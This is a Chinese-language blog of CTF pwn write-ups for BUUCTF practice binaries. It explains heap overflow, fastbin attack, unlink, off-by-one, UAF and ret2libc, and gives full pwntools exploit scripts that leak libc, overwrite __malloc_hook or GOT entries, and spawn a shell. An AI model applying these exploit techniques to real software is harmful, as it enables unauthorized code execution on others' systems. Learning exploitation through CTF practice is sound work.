练习题 wp 记录
目录
- Tools in pwn
- buuctf babyheap_0ctf_2017
- buuctf ogeek2019babyrop_wp
- buuctf hitcontraining_bamboobox
- buuctf hitcontraining_uaf
- buuctf hitcontraining_magicheap
- buuctf ciscn_2019_n_3
- buuctf babyfengshui_33c3_2016
- buuctf hitcontraining_heapcreator
- buuctf hitcon2014_stkof
- buuctf jarvisoj_level5
- buuctf ciscn_2019_es_7
0x00 Tools in Pwn
pwndbg
gdb.attach(io,’xxx’)
- xxx 为 GDB 的调试语句,比如’b main’ 或者 ‘n 285’
gadgets
ROPgadget
面向 elf 文件使用,详情RTFM
ROPgadget -h
命令省流
ROPgadget --binary ./pwn --only "pop|ret" | grep rdi
ROPgadget --binary ./pwn --string 'sh'
one_gadget
面向 libc 库使用
命令
one_gadget ./libc.so.6
seccomp-tools
面向 elf 文件使用
命令
seccomp-tools dump ./pwn
第一道Heap,插个里程碑纪念一下XD
0x01 BUUCTF babyheap_0ctf_2017
0. 写在前面
七月学完栈溢出,ak掉buu前两页的所有栈题
八月本来是想把堆学穿,等回想起这个目标前半个月已经没了
参加了个数据安全的夏令营
给sdu的新生赛搞宣传(本来想出点签到题结果已经被人出好了TT^TT)
给SecretFlow审了一点go语言的洞
然后用C#和xaml给sdu校园网写了个一键修复脚本
总而言之学的很杂…说实话真不如多打点比赛。
本来栈的能力就没得到比赛的检验,堆的学习时间又所剩无几了…
总而言之还是脚踏实地学一点算一点吧
还有个南大PA的坑等着我去填呢…才刚把nemu的gdb实现了个单步步入…
做完这道题才算真正意义上的AK第一页XD
Ⅰ. 主要知识点
- 堆溢出
Ⅱ. 解题步骤
- checksec 保护全开
该elf文件在ubuntu16中创建,wsl用的本机libc肯定不合适,所以
patchelf
一下1
patchelf --set-interpreter ./glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/ld-2.23.so --replace-needed libc.so.6 ./glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/libc.so.6
拖进IDA64分析,让反汇编以后的代码好看一点
注:IDA中快捷键y可以修改变量类型,上图Alloc函数的我将a1的变量类型_int64
修改为_int64*
IDA分析可知,我们可以有以下思路:
- Fill函数的输入字符数量是受我们控制的,所以可以堆溢出;
- 由于本题并没有给出system等可以直接提权的函数,所以考虑泄露libc地址
- 要泄露libc地址,肯定要读存有libc地址的地址
- 哪里存着libc地址?unsorted bin仅有一个chunk时,此chunk的fd和bk都指向
地址main_arena+58
,而main_arena是libc的data段中的一个全局静态变量,所以泄露它就可以知道libc_base(注:此处存放的是topchunk的地址) - 怎么去读unsorted bin的fd/bk指针?堆溢出+多次free/alloc
- 哪里存着libc地址?unsorted bin仅有一个chunk时,此chunk的fd和bk都指向
- 要泄露libc地址,肯定要读存有libc地址的地址
- 有了libc地址,我们可以通过修改fastbin的fd指针,在程序的__malloc_hook处(用libc+偏移来计算)申请一个我们可以操控的堆块,并在其中写入og的地址来提权
大概思路我们有了,接下来是写exp+调试验证思路。我们为了能够将chunk放入unsorted bin,肯定需要一个small chunk;要fastbin attack,肯定需要两个fastbin chunk;为了方便控制这三个chunk,我们再设置两个fastbin chunk,即:
1
2
3
4
5alloc(0x10) #index = 0
alloc(0x10) #index = 1
alloc(0x10) #index = 2
alloc(0x10) #index = 3
alloc(0x80) #index = 4此时堆的情况如下
Free掉index为1和2的chunk,给后面alloc留出空间
1
2free(1)
free(2)heap情况如下
bin情况如下堆溢出,操控fastbin
- 现在是main_arena_fastbin_0x20 —-> chunk2 —->chunk1
- 我们想办法让它变成 xxx_0x20 —-> chunk2 —->chunk4(这里读者可以自己gdb.attach用bin命令去查看fastbin前后的状态)
1
2payload = (p64(0)*3 +p64(0x21))*2 + p8(0x80)
fill(0,payload)
由于从fastbin申请chunk时会检查fastbin中chunk的size,如果不匹配则报错,所以我们要通过堆溢出修改chunk4的size,让其从0x91变为0x21
1
2payload = p64(0)*3 + p64(0x21)
fill(3,payload)申请两个大小为0x10的chunk,可以看到
原chunk1
指向了原chunk2的地址
,原chunk2
指向了原chunk4的地址
,这样我们就有两个指针指向chunk4了,可以用一个指针来释放,一个指针来读取,方便阅读我们分别命名为pointer_chunk4和pointer_chunk21
2alloc(0x10)
alloc(0x10)heap情况如下
直接用pointer_chunk4释放chunk4,ptmalloc会因为找不到topchunk而报错。所以我们应该恢复chunk4的size到0x91再free,但这样会导致chunk4直接跟topchunk合并。所以我们要先恢复chunk4的size到0x91再申请一个0x80大小的堆块隔离topchunk再free
1
2
3
4payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80)
free(4)此时chunk4的fd和bk就已经存放着一个地址了,我们通过pointer_chunk2来把他读出来。这个地址是main_arena+88,打开libc可以看到main_arena的地址为0x3c4b20,所以我们获得的libc_addr需要减88再减0x3c4b20,即减去0x3C4B78
1
2
3dump(2)
libc_base = u64(io.recv(16)[-8:])-0x3c4b78
print("libc_base ---> ",hex(libc_base))我们现在有了libc的地址,下一步是劫持malloc_hook。由于我们要通过fastbin来在malloc_hook处申请堆块,所以我们要通过fastbin对于size的检验,所以看一下malloc_hook前面有没有我们能够申请堆块的地方
发现aed处的0x0000007f符合fastbin的空间,所以我们用libc_base+0x3c4aed(这个用当前地址减去基地址即可算出)来申请
⚠这里图aed写错了,而且不应该看这个界面,整体上的chunk应该是1
2
3
4aed 0x----------------(prev_size) 0x000000000000007f(size)
afd ---------------------user_data-----------------------
...
...
1 | alloc(0x60) # 将unsortedbin中的chunk4切0x60大小申请出来 |
我们修改chunk6的内容,即修改malloc_hook,我们用og来提权
1
2payload = b'a'*19 + p64(libc_base + 0x4526a)
fill(6,payload)若malloc_hook不为空,再申请堆时会先调用malloc_hook处的函数,所以随便申请即可cat flag
1
alloc(255)
Ⅲ. 完整EXP
1 | from pwn import * |
Ⅳ. 一些疑问
__malloc_hook不是在data段中吗?这题开了FULL RELRO为什么可以改啊🤔
第九步中heap中chunk2的Addr为什么还是40而不是80啊?
第十步为什么chunk4会跟topchunk合并?是哪个bin的机制?
- unsortedbin,后向合并
- 为什么非要在aed处申请堆块?
- fastbin指针指向0xaed,说明0xaed-8是size,0xaed-0x10是prev_size,正好伪装chunk
0x02 buuctf [OGeek2019]babyrop_wp
网上很多wp已经不适用了,所以来更新一波XD
0x00 知识点
- ret2libc
- 提供libc的打法
- 绕过strlen & strncmp函数
0x01 解题步骤
不贴图了,按伪代码顺序来
- fd是urandom库生成的随机数
- 将fd读4位进buf
- 将buf作为参数传进函数A,在A中称作a1
- 将a1读进s
- 用户输入buf,但限制读入长度0x20,无法溢出;但可以考虑泄露
- v1赋值为buf的长度,绕过strlen & strncmp函数可以用’\\x00’
- 返回buf[7],传入函数B,在B中称作a1,是read的检测长度,如果足够长可以构造溢出
于是函数A中的read我们有思路了,即1. 绕过strlen 2. 返回buf[7]越大越好
1
2
3
4
5payload = '\x00' + '\xff' * 7
io.sendline(payload) # Q1:为什么非得是sendline而不能是send?
io.recvuntil(b"Correct\n") - B中观察栈的结构可知,我们可以用0xE7+4的垃圾数据抵达返回地址
- 由于string中并没有找到system(‘/bin/sh’),而题目提供了libc,所以我们可以泄露libc基地址;由于函数B结束后程序即将结束,我们已经没有溢出的点了,所以考虑将main作为返回地址,再来提供一次溢出,所以考虑构造payload2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20xxxxxx
xxxxxx<-----垃圾数据
puts_plt<---调用puts
main_addr<--将puts的返回地址压栈,即将eip的下一条指令压栈
puts_got<---将puts的参数弹给puts
junk = 0xE7 + 4
# payload = b'a'*junk + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got) # Q2: puts为什么不会打印后面的内容了?为什么puts_got后面一定是可以被转换为0a的00?
io.send(payload)
puts_addr = u32(io.recv(4))
print('puts_addr ---> ',hex(puts_addr))
# 注1:puts(const char* arg1)一直打印,直到遇到'\0',丢弃'\0'并输出'\n'
# 注2:sszie_t write(fd,const char* src,length) (fd=1,length=32/8 or 64/8) - 泄露libc地址后,泄露
system
和/bin/sh
的地址1
2
3
4
5offset = puts_addr - libc.sym['puts']
sys_addr = offset + libc.sym['system']
bin_sh = offset + next(libc.search(b'/bin/sh')) - 再进行一次绕过strncmp
1
2
3
4
5payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n") - 最后提权
1
2
3
4
5payload = b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh) # 细节2:覆盖返回地址时,32位需要在栈上补充返回地址
# Q3:为什么?
io.send(payload)
io.interactive() - 最后贴一下全部exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn',26218)
# context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('libc-2.23.so')
context.log_level = 'debug'
puts_got =elf.got['puts']
puts_plt =elf.plt['puts']
main_addr = 0x08048825
payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n")
junk = 0xE7 + 4
payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got)
puts_addr = u32(io.recv(4))
print('puts_addr ---> ',hex(puts_addr))
offset = puts_addr - libc.sym['puts']
sys_addr = offset + libc.sym['system']
bin_sh = offset + next(libc.search(b'/bin/sh'))
payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n")
payload = b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)
io.send(payload)
io.interactive()
0x02 一些思考
- 本题还可以有以下几种打法
- 泄露地址方面:不仅可以用puts,还可以用write;讲道理一切能输出到终端的函数都可以利用来泄露内容,后续慢慢探索
- 泄露地址后,我们可以用og进行提权
- 一些工具的使用
- flat可以用来构造payload
0x03 一些问题
- 0x01 中第七步payload,为什么在send时只能是sendline,我看received的结果明明都一样啊
- 0x01 中第九步payload,puts为什么不会打印后面的内容了(代码底部’注2’)?为什么puts_got后面一定是可以被转换为0a的00?
- 0x01 中第12步payload,为什么需要sys_addr + 0 + bin_sh,这个0是sys_addr的返回地址吗?
- 网上很多博客都用LibcSearcher,可是我在将LibcSearcher数据库更新到最新版本以后还是无法查到对应libc库,很奇怪
0x03 buuctf hitcontraining_bamboobox
POC
这题看反汇编代码有个 magic,应该用 House of Force,但是 buu 喜欢把 flag 放在 / 目录下,所以题目提供的 magic 函数就失效了
所以用 unlink 修改堆表,使我们可以实现任意地址写
exp
1 | from pwn import * |
0x04 hitcontraining_uaf
Ⅰ. 所用知识点:
- 逆向分析(这个题逆向太坐牢了,pseudocode太恶心,只能一点一点看)
- 利用fastbin性质实现
- UAF
Ⅱ. EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 25676
file = './hacknote'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./hacknote')
# libc = ELF('./libc_repo2elf/libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('size :', str(size))
io.sendlineafter('Content :',content)
def delete(index):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
def print(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :',str(index))
# ---------------------------------------------------------------------
alloc(0x10,'aaaa')
alloc(0x10,'aaaa')
delete(0)
delete(1)
get_shell = 0x8048945
alloc(0x8,p32(get_shell))
print(0)
io.interactive()
Ⅲ. 解题感言
这个题该说是出的很灵活还是很逆天…想要发现利用点需要比较扎实的逆向功底才行。其次还要对fastbin对于不同大小的chunk的分配问题有比较深入的了解。
0x05 hitcontraining_magicheap
Ⅰ. 所用知识点
- 利用fastbin的FFSL进行任意地址写
Ⅱ. EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 29259
file = './magicheap'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./magicheap')
# libc = ELF('./libc_repo2elf/libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap:',content)
def edit(index,size,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap : ',content)
def delete(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :', str(index))
# ---------------------------------------------------------------------
fake_chunk = 0x60208d
alloc(0x10,'\x00')
alloc(0x60,'\x00')
alloc(0x40,'\x00')
delete(1)
payload = p64(0)*3 + p64(0x71) + p64(fake_chunk)
edit(0,len(payload),payload)
alloc(0x60,'aaaa')
alloc(0x60,'aaaaaaaa')
io.sendline(str(4869))
io.interactive()
Ⅲ. 解题感言
四道堆题了,这是第一道自己做出来的堆题
我做Pwn的整体习惯是边打边学,没有说是先学再打
这道题整体感觉跟[ZJCTF 2019]EasyHeap非常像,不过133t函数里藏的是真flag,不用去泄露libc地址劫持malloc_hook了
因为特别像所以就考虑用fastbin attack打,事实上我到现在也不太清楚这算不算fastbin attack
只是利用了堆溢出和从fastbin里申请chunk的特性进行了一个任意地址的写
解决了babyheap那道题里不清楚的一个点(为什么在0x..aed申请fake_chunk)
这道题网上还有unsortedbin attack,抽空学一下
0x06 ciscn_2019_n_3
Ⅰ. 所用知识点
- UAF
Ⅱ. EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 26279
file = './ciscn_2019_n_3'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./ciscn_2019_n_3')
# libc = ELF('./libc_repo2elf/libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(index,content):
io.sendlineafter('CNote > ', str(1))
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ' , str(1))
io.sendlineafter('Value > ', content)
def alloc(index,size,content):
io.sendlineafter('CNote > ', str(1))
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ' , str(2))
io.sendlineafter('Length > ', str(size))
io.sendlineafter('Value > ', content)
def delete(index):
io.sendlineafter('CNote > ', str(2))
io.sendlineafter('Index > ', str(index))
def dump(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index > ', str(index))
# ---------------------------------------------------------------------
alloc(0,0x10,'/bin/sh\x00')
alloc(1,0x10,'/bin/sh\x00')
delete(1)
delete(0)
sys_plt = elf.plt['system']
payload = b'bash'+p32(sys_plt)
alloc(2,0xc,payload)
delete(1)
io.interactive()
Ⅲ.解题感言
第二道自己做的heap,总体感觉前两页的heap都属于签到
0x07 babyfengshui_33c3_2016
Ⅰ. 所用知识
- 逆向分析:奇葩的堆溢出检测方式
Ⅱ.完整EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 28267
file = './babyfengshui_33c3_2016'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc_repo2elf/libc-2.23.so')
# ----------------------------------------------------------
def alloc(hsize,name,wsize,desc):
io.sendlineafter('Action: ', str(0))
io.sendlineafter('description: ', str(hsize))
io.sendlineafter('name: ' , name)
io.sendlineafter('length: ', str(wsize))
io.sendlineafter('text: ',desc)
def delete(index):
io.sendlineafter('Action: ', str(1))
io.sendlineafter('index: ', str(index))
def dump(index):
io.sendlineafter('Action: ', str(2))
io.sendlineafter('index: ', str(index))
def edit(index,wsize,desc):
io.sendlineafter('Action: ', str(3))
io.sendlineafter('index: ', str(index))
io.sendlineafter('length: ', str(wsize))
io.sendlineafter('text: ',desc)
# ----------------------------------------------------------
free_got = elf.got['free']
alloc(0x80,'aaaa',0x80,'bbbb')
alloc(0x80,'aaaa',0x80,'bbbb')
alloc(0x8,'aaaa',0x8,'/bin/sh\x00')
delete(0)
alloc(0x100,'a',0x80,'a')
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
# gdb.attach(io)
edit(3,0x200,payload)
dump(1)
io.recvuntil('description: ')
free_addr = u32(io.recv(4))
print('free_addr ---> ',hex(free_addr))
libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']
edit(1,0x80,p32(sys_addr))
delete(2)
# gdb.attach(io)
io.interactive()
Ⅲ. summary
- 好难…逆向以后本来就一大堆指针和函数调用,关系理都理不清还要利用,这道题的exp利用了“函数堆中利用指针去读写“的逻辑去覆写free_got的地址
- 一些问题
- 为什么LibcSearcher在本地就能查到正确的基址成功提权,到远程就不行了?
- 在本地freegot指向了540,而远端是750,本地libc版本号能查对,说明远端有什么问题
- 那么这个问题是什么呢?
- 为什么LibcSearcher在本地就能查到正确的基址成功提权,到远程就不行了?
0x08 hitcontraining_heapcreator
Ⅰ. 解题知识点
- off-by-one
Ⅱ. 完整EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 25756
file = './heapcreator'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./heapcreator')
# libc = ELF('./libc_repo2elf/libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap:', content)
def edit(index,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('heap :', content)
def show(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :', str(index))
def free(index):
io.sendlineafter('choice :', str(4))
io.sendlineafter('Index :', str(index))
# ---------------------------------------------------------------------
free_got = elf.got['free']
alloc(0x18,'/bin/sh\x00')
alloc(0x10,'\x00')
alloc(0x10,'\x00')
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x81)
edit(0,payload)
free(1)
payload = p64(0)*8 + p64(0x8) + p64(free_got)
alloc(0x70,payload)
show(2)
io.recvuntil('Content : ')
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('free_addr ---> ',hex(free_addr))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
payload = p64(sys_addr)
edit(2,payload)
free(0)
# gdb.attach(io)
io.interactive()
Ⅲ. summary
AK第二页~完结撒flag~
这道题基本就只把上一道题堆溢出检测改为off-by-one,其他基本没啥变动,可以算是第三道自己解出来的heap题~
0x09 hitcon2014_stkof
Ⅰ.知识点
- unlink
- 不关闭I/O缓冲区的后果
Ⅱ. 完整EXP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 26280
file = './stkof'
io = remote(domain_name,port)
# io = process(file)
elf = ELF('./stkof')
libc = ELF('./libc_repo2elf/64libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OK\n')
def fill(idx, content):
io.sendline('2')
io.sendline(str(idx))
io.sendline(str(len(content)))
io.send(content)
io.recvuntil('OK\n')
def free(idx):
io.sendline('3')
io.sendline(str(idx))
# ---------------------------------------------------------------------
alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)
payload = b"a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)
payload = p64(puts_plt)
fill(1,payload)
free(2)
puts_addr = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
# log.success(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = p64(system)
fill(1,payload)
fill(4,'/bin/sh\x00')
free(4)
io.interactive()
0x0A jarvisoj_level5
国赛前复习一下栈题是怎么打的
1 | from pwn import * |
0x0B ciscn_2019_es_7
SROP,pwntools的集成真香
1 | from pwn import * |